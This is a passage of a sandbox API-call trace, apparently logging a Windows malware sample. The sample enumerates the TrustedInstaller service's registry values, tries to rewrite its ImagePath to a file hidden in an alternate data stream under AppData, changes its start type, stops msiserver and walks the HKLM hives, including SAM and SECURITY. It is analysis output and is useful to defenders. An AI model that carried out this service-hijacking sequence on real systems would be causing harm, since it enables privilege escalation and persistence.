dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.831] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.831] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.831] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0231.832] RegSetValueExA (hKey=0x0, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData=0x21f1c40, cbData=0xc) returned 0x6 [0231.832] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0231.832] RegSetValueExA (hKey=0x0, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData=0x21f1c40, cbData=0x1) returned 0x6 [0231.832] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0231.832] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.832] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.832] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.832] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.832] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.832] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.832] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.832] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.832] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.832] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.833] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.833] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.833] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.833] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.833] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.833] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0231.833] RegSetValueExA (hKey=0x0, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData=0x21f1a90, cbData=0x6) returned 0x6 [0231.833] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0231.833] RegSetValueExA (hKey=0x0, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData=0x21f1a90, cbData=0x1) returned 0x6 [0231.833] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.833] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.833] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.833] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.833] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.833] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.834] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.834] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.834] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.834] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.834] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.834] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.834] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.834] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.834] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0231.834] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0231.834] RegSetValueExA (hKey=0x0, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData=0x21f1c40, cbData=0x1) returned 0x6 [0231.834] CommandLineToArgvW (in: lpCmdLine="", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\SFBHOP~1:bin" [0231.834] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0231.834] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0231.834] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0231.835] LocalFree (hMem=0x7f03d0) returned 0x0 [0231.835] RegSetValueExA (hKey=0x0, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData=0x21f1e38, cbData=0x2f) returned 0x6 [0231.835] OpenServiceW (hSCManager=0x803918, lpServiceName="TrustedInstaller", dwDesiredAccess=0x2) returned 0x8038a0 [0231.835] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0231.837] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0231.837] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0231.837] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0231.837] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0231.837] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0231.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0231.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0231.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0231.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0231.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0231.838] RegCloseKey (hKey=0x14c) returned 0x0 [0231.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0231.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0231.838] GetFileAttributesExW (in: lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bcf001f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bcf001f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bcf001f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2f600)) returned 1 [0231.838] CreateFileW (lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0231.838] GetLastError () returned 0x5 [0231.838] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0231.838] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0231.838] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0231.838] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0231.838] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0231.841] NtClose (Handle=0x14c) returned 0x0 [0231.841] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0231.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0231.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0232.130] NtClose (Handle=0x14c) returned 0x0 [0232.130] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0232.130] NtClose (Handle=0x148) returned 0x0 [0232.130] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x2710) returned 0x0 [0232.284] NtClose (Handle=0x150) returned 0x0 [0232.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0232.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0232.285] GetFileAttributesExW (in: lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bcf001f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bcf001f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bcf001f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2f600)) returned 1 [0232.285] CreateFileW (lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0232.285] GetLastError () returned 0x5 [0232.285] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0232.286] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0232.286] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0232.286] OpenServiceW (hSCManager=0x803918, lpServiceName="msiserver", dwDesiredAccess=0x20) returned 0x803990 [0232.286] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0232.286] GetLastError () returned 0x425 [0232.286] CloseServiceHandle (hSCObject=0x803990) returned 1 [0232.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0232.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0232.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0232.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0232.287] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0232.287] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0232.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0232.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0232.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.287] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0232.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0232.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.287] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0232.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0232.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0232.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.288] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0232.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0232.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.288] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0232.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0232.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.288] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0232.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0232.289] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.289] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0232.289] RegCloseKey (hKey=0x80000002) returned 0x0 [0232.289] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0232.289] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 